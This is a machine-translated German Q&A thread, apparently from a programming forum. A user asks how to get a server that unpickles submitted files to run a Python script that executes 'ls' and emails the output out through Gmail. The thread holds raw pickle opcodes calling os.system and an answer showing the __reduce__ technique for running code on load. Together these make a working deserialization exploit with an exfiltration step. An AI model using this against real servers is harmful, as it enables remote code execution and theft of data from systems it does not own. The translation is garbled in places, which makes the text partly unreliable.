2017-12-07 4 views
2

Ich habe eine Aufgabe, eine Beizdatei an einen Server zu senden, die alles, was an sie gesendet wird, entpackt. Mein Plan ist es, mir per E-Mail den Befehl ls zurückzugeben. Ich habe diese Datei:Pickle Exploiting

import smtplib 
import commands 
status, output = commands.getstatusoutput("ls") 
server = smtplib.SMTP_SSL('smtp.gmail.com') 
server.login("[email protected]", "password") 
server.sendmail("[email protected]", "[email protected]", output) 
server.quit() 

Wie kann ich den Server erhalten, dies zu laufen? Ich versuche, eine Datei wie:

cos 
system 
(S'' 
tR. 

mit dem Python-Skript in der '' zu senden.

Ich dachte, so etwas wie:

cos 
system 
(S'python\n import smptlib\n ...' 
tR. 

aber es wird nicht ausgeführt, die Befehle. Wie kann ich den Python ausführen?

Ich habe auf meinem eigenen Computer versucht und der Python sendet die E-Mail in Ordnung.

+1

Sie sagen, Ihre Aufgabe ist es, eine Gurke Datei auf einen Server zu senden. Aber Ihr Code hat nichts damit zu tun, eine Pickle-Datei zu machen. Wenn Sie eine Beizdatei (binäre Daten) in einer E-Mail senden möchten, wäre das ein Anhang. Ich sehe auch nichts davon. Könnten Sie das klären? Was hat der Befehl "ls" damit zu tun? –

+0

Ja, also muss ich eine Beizdatei senden, die einen Befehl ausführt. cos System (S'python \ n import smptlib \ n ...‘ tR. dies ist die Beize Syntax, um einen Systembefehl – Batman

+0

beispielsweise cos System (S'sleep 100' läuft . tR wird 100 Sekunden lang schlafen – Batman

Antwort

4

Tun Sie, was Freundlichkeit Sie in der __reduce__ Methode tun möchten. Bitte sei nicht böse.

import pickle 

class Friendly(object): 
    def __reduce__(self): 
     return (friendly, ('executing friendly code',)) 

def friendly(x): 
    print x 

pickle.dump(Friendly(), open('pickled', 'w')) 
print 'loading ...' 
pickle.load(open('pickled')) 

->

$ python friendly.py
loading ...
Ausführung Kommandocode

+1

es scheint noch bösartiger, wenn Sie es haben Anspruch freundlich zu sein (! – HFBrowning

+0

@HFBrowning Fest – timgeb

+1

Hahah es war keine Kritik – HFBrowning